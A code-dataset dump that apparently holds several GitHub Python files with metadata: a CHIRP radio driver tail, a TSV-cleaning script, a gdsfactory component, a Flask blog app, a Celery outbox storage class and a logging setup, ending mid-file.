\"Beep Prompt\",\n RadioSettingValueList(BEEP_LIST, BEEP_LIST[\n _settings.voice_prompt]))\n basic.append(rs)\n\n rs = RadioSetting(\"tbst_freq\", \"Tone Burst Frequency\",\n RadioSettingValueList(TBSTFREQ_LIST, TBSTFREQ_LIST[\n _settings.tbst_freq]))\n basic.append(rs)\n\n rs = RadioSetting(\"choose_tx_power\", \"Max Level of TX Power\",\n RadioSettingValueList(TXPWR_LIST, TXPWR_LIST[\n _settings.choose_tx_power]))\n basic.append(rs)\n\n (flow, fhigh) = self.valid_freq[0]\n flow /= 1000\n fhigh /= 1000\n fmidrange = (fhigh - flow) / 2\n\n rs = RadioSetting(\"txrangelow\", \"TX Freq, Lower Limit (kHz)\",\n RadioSettingValueInteger(\n flow, flow + fmidrange,\n int(_freqrange.txrangelow) / 10))\n freqrange.append(rs)\n\n rs = RadioSetting(\"txrangehi\", \"TX Freq, Upper Limit (kHz)\",\n RadioSettingValueInteger(\n fhigh-fmidrange, fhigh,\n int(_freqrange.txrangehi) / 10))\n freqrange.append(rs)\n\n rs = RadioSetting(\"rxrangelow\", \"RX Freq, Lower Limit (kHz)\",\n RadioSettingValueInteger(\n flow, flow+fmidrange,\n int(_freqrange.rxrangelow) / 10))\n freqrange.append(rs)\n\n rs = RadioSetting(\"rxrangehi\", \"RX Freq, Upper Limit (kHz)\",\n RadioSettingValueInteger(\n fhigh-fmidrange, fhigh,\n int(_freqrange.rxrangehi) / 10))\n freqrange.append(rs)\n\n return settings\n\n def get_settings(self):\n try:\n return self._get_settings()\n except:\n import traceback\n LOG.error(\"failed to parse settings\")\n traceback.print_exc()\n return None\n\n def set_settings(self, settings):\n _settings = self._memobj.settings\n for element in settings:\n if not isinstance(element, RadioSetting):\n self.set_settings(element)\n continue\n else:\n try:\n name = element.get_name()\n\n if name in [\"txrangelow\", \"txrangehi\", \"rxrangelow\",\n \"rxrangehi\"]:\n LOG.debug(\"setting %s = %s\" % (name,\n int(element.value) * 10))\n setattr(self._memobj.freqrange, name,\n int(element.value) * 10)\n continue\n\n if name in [\"startname\"]:\n LOG.debug(\"setting %s = %s\" % (name, element.value))\n setattr(self._memobj.slabel, name, element.value)\n continue\n\n obj = _settings\n setting = element.get_name()\n\n if element.has_apply_callback():\n LOG.debug(\"using apply callback\")\n element.run_apply_callback()\n else:\n LOG.debug(\"Setting %s = %s\" % (setting,\n element.value))\n setattr(obj, setting, element.value)\n except Exception:\n LOG.debug(element.get_name())\n raise\n\n @classmethod\n def match_model(cls, filedata, filename):\n return False\n\n\ndef match_orig_model(cls, filedata, filename):\n # This old-style file detection should only be used for the\n # original TYT TH9000 classes for compatibility\n if cls.VENDOR != 'TYT' or 'TH9000_' not in cls.MODEL:\n return False\n\n if MMAPSIZE == len(filedata):\n (flow, fhigh) = cls.valid_freq[0]\n flow /= 1000000\n fhigh /= 1000000\n\n txmin = filedata[0x200] * 100 + (filedata[0x201] >> 4) \\\n * 10 + filedata[0x201] % 16\n txmax = filedata[0x204] * 100 + (filedata[0x205] >> 4) \\\n * 10 + filedata[0x205] % 16\n rxmin = filedata[0x208] * 100 + (filedata[0x209] >> 4) \\\n * 10 + filedata[0x209] % 16\n rxmax = filedata[0x20C] * 100 + (filedata[0x20D] >> 4) \\\n * 10 + filedata[0x20D] % 16\n\n if (rxmin >= flow and rxmax <= fhigh and txmin >= flow and\n txmax <= fhigh):\n return True\n\n return False\n\n\n@directory.register\nclass Th9000220Radio(Th9000Radio):\n \"\"\"TYT TH-9000 220\"\"\"\n VENDOR = \"TYT\"\n MODEL = \"TH9000_220\"\n BAUD_RATE = 9600\n valid_freq = [(220000000, 260000000)]\n\n @classmethod\n def match_model(cls, filedata, filename):\n return match_orig_model(cls, filedata, filename)\n\n\n@directory.register\nclass Th9000144Radio(Th9000220Radio):\n \"\"\"TYT TH-9000 144\"\"\"\n VENDOR = \"TYT\"\n MODEL = \"TH9000_144\"\n BAUD_RATE = 9600\n valid_freq = [(136000000, 174000000)]\n\n @classmethod\n def match_model(cls, filedata, filename):\n return match_orig_model(cls, filedata, filename)\n\n\n@directory.register\nclass Th9000440Radio(Th9000220Radio):\n \"\"\"TYT TH-9000 440\"\"\"\n VENDOR = \"TYT\"\n MODEL = \"TH9000_440\"\n BAUD_RATE = 9600\n valid_freq = [(400000000, 490000000)]\n\n @classmethod\n def match_model(cls, filedata, filename):\n return match_orig_model(cls, filedata, filename)\n\n\n@directory.register\nclass Lt580VHFRadio(Th9000144Radio):\n \"\"\"Luiton LT-580 VHF\"\"\"\n VENDOR = \"LUITON\"\n MODEL = \"LT-580_VHF\"\n\n\n@directory.register\nclass Lt580UHFRadio(Th9000440Radio):\n \"\"\"Luiton LT-580 UHF\"\"\"\n VENDOR = \"LUITON\"\n MODEL = \"LT-580_UHF\"\n\n\n@directory.register\nclass RT9000DVHFRadio(Th9000Radio):\n \"\"\"Retevis RT9000D VHF\"\"\"\n VENDOR = \"Retevis\"\n MODEL = \"RT9000D_136-174\"\n valid_freq = [(136000000, 174000000)]\n\n\n@directory.register\nclass RT9000D220Radio(Th9000Radio):\n \"\"\"Retevis RT9000D 220\"\"\"\n VENDOR = \"Retevis\"\n MODEL = \"RT9000D_220-260\"\n valid_freq = [(220000000, 260000000)]\n\n\n@directory.register\nclass RT9000DUHFRadio(Th9000Radio):\n \"\"\"Retevis RT9000D UHF\"\"\"\n VENDOR = \"Retevis\"\n MODEL = \"RT9000D_400-490\"\n valid_freq = [(400000000, 490000000)]\n\n\n@directory.register\nclass RT9000D6688Radio(Th9000Radio):\n \"\"\"Retevis RT9000D 66-88\"\"\"\n VENDOR = \"Retevis\"\n MODEL = \"RT9000D_66-88\"\n valid_freq = [(66000000, 88000000)]\n", "repo_name": "kk7ds/chirp", "sub_path": "chirp/drivers/th9000.py", "file_name": "th9000.py", "file_ext": "py", "file_size_in_byte": 31079, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 190, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "chirp.chirp_common.TONES", "line_number": 26, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 26, "usage_type": "name"}, {"api_name": "chirp.chirp_common.PowerLevel", "line_number": 32, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 32, "usage_type": "name"}, {"api_name": "chirp.chirp_common.PowerLevel", "line_number": 33, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 33, "usage_type": "name"}, {"api_name": "chirp.chirp_common.PowerLevel", "line_number": 34, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 34, "usage_type": "name"}, {"api_name": "chirp.chirp_common.CROSS_MODES", "line_number": 36, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 36, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 359, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 359, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 374, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 374, "usage_type": "name"}, {"api_name": "chirp.util.hexprint", "line_number": 379, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 379, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 380, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 380, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 399, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 399, "usage_type": "name"}, {"api_name": "chirp.util.hexprint", "line_number": 403, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 403, "usage_type": "name"}, {"api_name": "chirp.util.hexprint", "line_number": 405, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 405, "usage_type": "name"}, {"api_name": "chirp.util.hexprint", "line_number": 406, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 406, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 407, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 407, "usage_type": "name"}, {"api_name": "struct.pack", "line_number": 411, "usage_type": "call"}, {"api_name": "chirp.util.hexprint", "line_number": 417, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 417, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 422, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 422, "usage_type": "name"}, {"api_name": "chirp.util.hexprint", "line_number": 426, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 426, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 432, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 432, "usage_type": "name"}, {"api_name": "struct.unpack", "line_number": 433, "usage_type": "call"}, {"api_name": "chirp.errors.RadioError", "line_number": 438, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 438, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 443, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 443, "usage_type": "name"}, {"api_name": "chirp.util.hexprint", "line_number": 453, "usage_type": "call"}, {"api_name": "chirp.util", "line_number": 453, "usage_type": "name"}, {"api_name": "chirp.errors.RadioError", "line_number": 454, "usage_type": "call"}, {"api_name": "chirp.errors", "line_number": 454, "usage_type": "name"}, {"api_name": "chirp.chirp_common.Status", "line_number": 468, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 468, "usage_type": "name"}, {"api_name": "chirp.memmap.MemoryMapBytes", "line_number": 476, "usage_type": "call"}, {"api_name": "chirp.memmap", "line_number": 476, "usage_type": "name"}, {"api_name": "chirp.chirp_common.Status", "line_number": 489, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 489, "usage_type": "name"}, {"api_name": "chirp.chirp_common.CloneModeRadio", "line_number": 501, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 501, "usage_type": "name"}, {"api_name": "chirp.chirp_common.ExperimentalRadio", "line_number": 502, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 502, "usage_type": "name"}, {"api_name": "chirp.chirp_common.RadioPrompts", "line_number": 515, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 515, "usage_type": "name"}, {"api_name": "chirp.chirp_common.RadioFeatures", "line_number": 521, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 521, "usage_type": "name"}, {"api_name": "chirp.chirp_common.CHARSET_UPPER_NUMERIC", "line_number": 530, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 530, "usage_type": "name"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES", "line_number": 537, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 537, "usage_type": "name"}, {"api_name": "chirp.bitwise.parse", "line_number": 552, "usage_type": "call"}, {"api_name": "chirp.bitwise", "line_number": 552, "usage_type": "name"}, {"api_name": "chirp.chirp_common.Memory", "line_number": 583, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 583, "usage_type": "name"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES", "line_number": 614, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 614, "usage_type": "name"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES", "line_number": 620, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 620, "usage_type": "name"}, {"api_name": "chirp.chirp_common.split_tone_decode", "line_number": 626, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 626, "usage_type": "name"}, {"api_name": "chirp.chirp_common.split_tone_encode", "line_number": 670, "usage_type": "call"}, {"api_name": "chirp.chirp_common", "line_number": 670, "usage_type": "name"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES.index", "line_number": 680, "usage_type": "call"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES", "line_number": 680, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 680, "usage_type": "name"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES.index", "line_number": 686, "usage_type": "call"}, {"api_name": "chirp.chirp_common.ALL_DTCS_CODES", "line_number": 686, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 686, "usage_type": "name"}, {"api_name": "chirp.settings.RadioSettingGroup", "line_number": 701, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingGroup", "line_number": 702, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingGroup", "line_number": 703, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettings", "line_number": 704, "usage_type": "call"}, {"api_name": "chirp.chirp_common.CHARSET_ASCII", "line_number": 709, "usage_type": "attribute"}, {"api_name": "chirp.chirp_common", "line_number": 709, "usage_type": "name"}, {"api_name": "chirp.settings.RadioSettingValueString", "line_number": 715, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 716, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 719, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 720, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 724, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 725, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 729, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 730, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 734, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 735, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 739, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 740, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 744, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 745, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 749, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 750, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 754, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueList", "line_number": 755, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 764, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueInteger", "line_number": 765, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 770, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueInteger", "line_number": 771, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 776, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueInteger", "line_number": 777, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 782, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSettingValueInteger", "line_number": 783, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 796, "usage_type": "call"}, {"api_name": "chirp.settings.RadioSetting", "line_number": 802, "usage_type": "argument"}, {"api_name": "chirp.directory.register", "line_number": 868, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 868, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 881, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 881, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 894, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 894, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 907, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 907, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 914, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 914, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 921, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 921, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 929, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 929, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 937, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 937, "usage_type": "name"}, {"api_name": "chirp.directory.register", "line_number": 945, "usage_type": "attribute"}, {"api_name": "chirp.directory", "line_number": 945, "usage_type": "name"}]} +{"seq_id": "6365349355", "text": "from tqdm import tqdm\n\n\ndef clean_line_with_too_many_tabs(bad_line):\n l = len(bad_line)\n i = 0\n to_delete = [-1]\n while -1 < i < l:\n i = bad_line.find('\"', i+1)\n if i < 0:\n break\n next_quote = bad_line.find('\"', i+1)\n next_tab = bad_line.find('\\t', i+1)\n while -1 < next_tab < next_quote:\n to_delete.append(next_tab)\n next_tab = bad_line.find('\\t', next_tab+1)\n i = next_quote\n\n to_delete.append(l)\n new_string = \"\".join([bad_line[a+1:to_delete[i+1]] for i, a in enumerate(to_delete[:-1])])\n return new_string\n\n\nif __name__ == '__main__':\n clean_lines = []\n right_n_tabs = 113\n save_freq = 1000000\n total_lines = 71180735\n with open('Z:\\\\event.tsv', 'r', encoding='utf-8') as f:\n for i in tqdm(range(total_lines)):\n l = f.readline()\n if not l:\n break\n n_tabs = l.count('\\t')\n if n_tabs != right_n_tabs:\n while n_tabs < right_n_tabs:\n ll = f.readline()\n l = l[:-1] + ll\n n_tabs = l.count('\\t')\n if n_tabs > right_n_tabs:\n l = clean_line_with_too_many_tabs(l)\n n_tabs = l.count('\\t')\n if n_tabs != right_n_tabs:\n print(f'Could not fix line {i}:\\n{l}')\n\n clean_lines.append(l)\n \n if (i+1) % save_freq == 0:\n with open('Z:\\\\event_fixed.tsv', 'a', encoding='utf-8') as f_write:\n f_write.write(''.join(clean_lines))\n clean_lines = []\n \n with open('Z:\\\\event_fixed.tsv', 'a', encoding='utf-8') as f_write:\n f_write.write(''.join(clean_lines))\n \n", "repo_name": "emmaremy/solve-ilao-public", "sub_path": "notebooks/clean_events.py", "file_name": "clean_events.py", "file_ext": "py", "file_size_in_byte": 1786, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "tqdm.tqdm", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "7145530004", "text": "from __future__ import annotations\n\nimport gdsfactory as gf\nfrom gdsfactory.component import Component\nfrom gdsfactory.components.wire import wire_corner, wire_straight\n\n\n@gf.cell\ndef wire_sbend(dx: float = 20.0, dy: float = 10.0, **kwargs) -> Component:\n \"\"\"Sbend corner with manhattan wires.\n\n Args:\n dx: xsize.\n dy: ysize.\n kwargs: cross_section settings.\n \"\"\"\n sx = wire_straight(length=dx / 2, **kwargs)\n sy = wire_straight(length=dy, **kwargs)\n bc = wire_corner(**kwargs)\n\n symbol_to_component = {\n \"-\": (sx, \"e1\", \"e2\"),\n \"|\": (sy, \"e1\", \"e2\"),\n \"b\": (bc, \"e2\", \"e1\"),\n \"B\": (bc, \"e1\", \"e2\"),\n }\n\n sequence = \"-B|b-\"\n return gf.components.component_sequence(\n sequence=sequence,\n symbol_to_component=symbol_to_component,\n decorator=gf.port.auto_rename_ports,\n )\n\n\nif __name__ == \"__main__\":\n c = wire_sbend(width=5)\n c.show(show_ports=True)\n c.pprint_ports()\n", "repo_name": "gdsfactory/gdsfactory", "sub_path": "gdsfactory/components/wire_sbend.py", "file_name": "wire_sbend.py", "file_ext": "py", "file_size_in_byte": 978, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 318, "dataset": "github-code", "pt": "86", "api": [{"api_name": "gdsfactory.components.wire.wire_straight", "line_number": 17, "usage_type": "call"}, {"api_name": "gdsfactory.components.wire.wire_straight", "line_number": 18, "usage_type": "call"}, {"api_name": "gdsfactory.components.wire.wire_corner", "line_number": 19, "usage_type": "call"}, {"api_name": "gdsfactory.components.component_sequence", "line_number": 29, "usage_type": "call"}, {"api_name": "gdsfactory.components", "line_number": 29, "usage_type": "attribute"}, {"api_name": "gdsfactory.port", "line_number": 32, "usage_type": "attribute"}, {"api_name": "gdsfactory.cell", "line_number": 8, "usage_type": "attribute"}, {"api_name": "gdsfactory.component.Component", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "26374115307", "text": "from flask import Flask, request, redirect, render_template\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://build-a-blog:launchcode@localhost:8889/build-a-blog'\napp.config['SQLALCHEMY_ECHO'] = True\ndb = SQLAlchemy(app)\n\n\nclass Blog(db.Model):\n\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(500))\n body = db.Column(db.Text)\n\n def __init__(self, title, body):\n self.title = title\n self.body = body\n\n\n@app.route('/blog', methods=['POST', 'GET'])\ndef main_blog():\n blog_id = \"\"\n \n if (request.args.get('id')) != None:\n blog_id = int(request.args.get('id'))\n Blog_ind = Blog.query.get(blog_id)\n blog_body = str(Blog_ind.body)\n blog_title = str(Blog_ind.title)\n return render_template('individual.html',blogtitle=blog_title,\n blogbody=blog_body)\n\n else:\n blogs = Blog.query.all()\n return render_template('blog_main.html',title=\"Build a Blog\", \n blogs=blogs)\n\n \n\n@app.route('/newpost')\ndef newpost():\n return render_template('entry.html',title=\"Build a Blog\")\n\n\n@app.route('/newpost', methods=['POST'])\ndef validation():\n blog_title = str(request.form['blogtitle'])\n blog_body = str(request.form['blogbody'])\n blogtitle_error = ''\n blogbody_error = ''\n \n if len(blog_title) < 1:\n blogtitle_error = 'Please fill in the title'\n \n if len(blog_body) < 1:\n blogbody_error = 'Please fill in the body'\n \n if not blogtitle_error and not blogbody_error:\n new_blogentry = Blog(blog_title, blog_body)\n db.session.add(new_blogentry)\n db.session.commit()\n \n new_blogentry_id_ = '/blog?id='+str(new_blogentry.id)\n return redirect(new_blogentry_id_)\n \n else:\n return render_template('entry.html',title=\"Build a Blog\",blogtitle=blog_title, blogtitle_error=blogtitle_error, blogbody=blog_body,blogbody_error=blogbody_error)\n\nif __name__ == '__main__':\n app.run()", "repo_name": "scharfans/build-a-blog", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2079, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "12344474224", "text": "from typing import Any, Iterable, Iterator, Mapping\n\nimport sqlalchemy as sa\nimport sqlalchemy.orm\nfrom celery import Task\n\nfrom ...common.sqlachemy.storage import SQLAlchemyStorageMixin\nfrom ..types import CeleryOutboxStorageABC, CeleryTask\nfrom .models import OutboxCeleryModel\n\n\nclass SQLAlchemyCeleryOutboxStorage(CeleryOutboxStorageABC, SQLAlchemyStorageMixin):\n\n model = OutboxCeleryModel\n\n def __init__(\n self,\n *,\n engine: sa.engine.Engine,\n scoped_session: sa.orm.scoped_session | None = None,\n ) -> None:\n self.engine: sa.engine.Engine = engine\n self.scoped_session: sa.orm.scoped_session | None = scoped_session\n\n def save(\n self,\n *,\n task: Task,\n args: Iterable[Any] | None = None,\n kwargs: Mapping[str, Any] | None = None,\n options: Mapping[str, Any] | None = None,\n session: sa.orm.Session | None = None,\n connection: sa.engine.Connection | None = None,\n ) -> None:\n \"\"\"Serialize and save to database Celery task\"\"\"\n\n connection = self.get_connection(\n session=session,\n connection=connection,\n )\n\n connection.execute(\n sa.insert(self.model).values(\n name=task.name,\n args=args,\n kwargs=kwargs,\n options=options,\n )\n )\n\n def get_tasks_batch(self, size: int) -> Iterator[list[CeleryTask]]:\n\n query = self.model.consume_query(size=size)\n\n # Create connection to database\n with self.engine.connect() as connection:\n\n # get new tasks from table forever\n while True:\n\n # for every batch create new transaction\n with connection.begin():\n result = connection.execute(query)\n rows = result.fetchall()\n yield [\n CeleryTask(\n id=row[\"id\"],\n name=row[\"name\"],\n args=row[\"args\"],\n kwargs=row[\"kwargs\"],\n options=row[\"options\"],\n )\n for row in rows\n ]\n", "repo_name": "hyzyla/outbox-streaming", "sub_path": "outbox_streaming/celery/sqlalchemy/storage.py", "file_name": "storage.py", "file_ext": "py", "file_size_in_byte": 2262, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "86", "api": [{"api_name": "types.CeleryOutboxStorageABC", "line_number": 12, "usage_type": "name"}, {"api_name": "common.sqlachemy.storage.SQLAlchemyStorageMixin", "line_number": 12, "usage_type": "name"}, {"api_name": "models.OutboxCeleryModel", "line_number": 14, "usage_type": "name"}, {"api_name": "sqlalchemy.engine", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sqlalchemy.engine", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sqlalchemy.orm", "line_number": 23, "usage_type": "attribute"}, {"api_name": "celery.Task", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 29, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Mapping", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 31, "usage_type": "name"}, {"api_name": "sqlalchemy.orm", "line_number": 32, "usage_type": "attribute"}, {"api_name": "sqlalchemy.engine", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sqlalchemy.insert", "line_number": 43, "usage_type": "call"}, {"api_name": "types.CeleryTask", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.Iterator", "line_number": 51, "usage_type": "name"}, {"api_name": "types.CeleryTask", "line_number": 51, "usage_type": "name"}]} +{"seq_id": "39425293220", "text": "import logging\nimport os\nfrom datetime import datetime\n\nLOG_FILE=f\"{datetime.now().strftime('%m_%d_%Y_%H_%M_%S')}.log\"\nlogs_path=os.path.join(os.getcwd(),\"logs\",LOG_FILE)\nos.makedirs(logs_path,exist_ok=True)\n\nLOG_FILE_PATH=os.path.join(logs_path,LOG_FILE)\n\nlogging.basicConfig(\n filename=LOG_FILE_PATH,\n format=\"[ %(asctime)s ] %(lineno)d %(name)s - %(levelname)s - %(message)s\",\n level=logging.INFO,\n\n\n)\n \n\n\n\n\"\"\"\nThe code sets up a basic logging configuration in Python. Here's what each part of the code does:\n\n1. LOG_FILE: This variable stores the name of the log file with a timestamp generated using the current date and time in the format \"mm_dd_yyyy_HH_MM_SS.log\".\n\n2. logs_path: This variable is set to the path of the log file within the \"logs\" directory. \n The \"logs\" directory is created if it doesn't exist using os.makedirs(logs_path, exist_ok=True).\n\n3. LOG_FILE_PATH: This variable stores the complete path of the log file by joining the \"logs\" directory path and the log file name.\n\n4. logging.basicConfig(): This function sets up the basic configuration for logging in Python. \n It takes several arguments to customize the logging behavior:\n\n - filename: The path of the log file where log messages will be written. In this case, it's set to LOG_FILE_PATH, which points to the log file within the \"logs\" directory.\n\n - format: The format of the log messages. The format specifies how each log message will look. In this case, it's set to \"[ %(asctime)s ] %(lineno)d %(name)s - %(levelname)s - %(message)s\", which includes the timestamp, line number, logger name, log level, and log message.\n\n - level: The logging level threshold. It determines which log messages will be written to the log file. In this case, it's set to logging.INFO, which means only messages with the log level \"INFO\" and above will be logged.\n\nWith this configuration, any log messages of level \"INFO\" and above will be written to the log file with the specified format. \nThe log file will have a timestamp in its name to avoid overwriting previous logs and will be stored in the \"logs\" directory under the current working directory.\n\"\"\"", "repo_name": "Chizzle001/ML-Project-", "sub_path": "src/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 2151, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.datetime.now", "line_number": 5, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 5, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 6, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 14, "usage_type": "attribute"}]} +{"seq_id": "9480969110", "text": "import pandas as pd\nimport jinja2\nimport os\n\noutfilename = \"output.tex\"\ndatafilename = \"data.csv\"\n\ntemplatefilename = 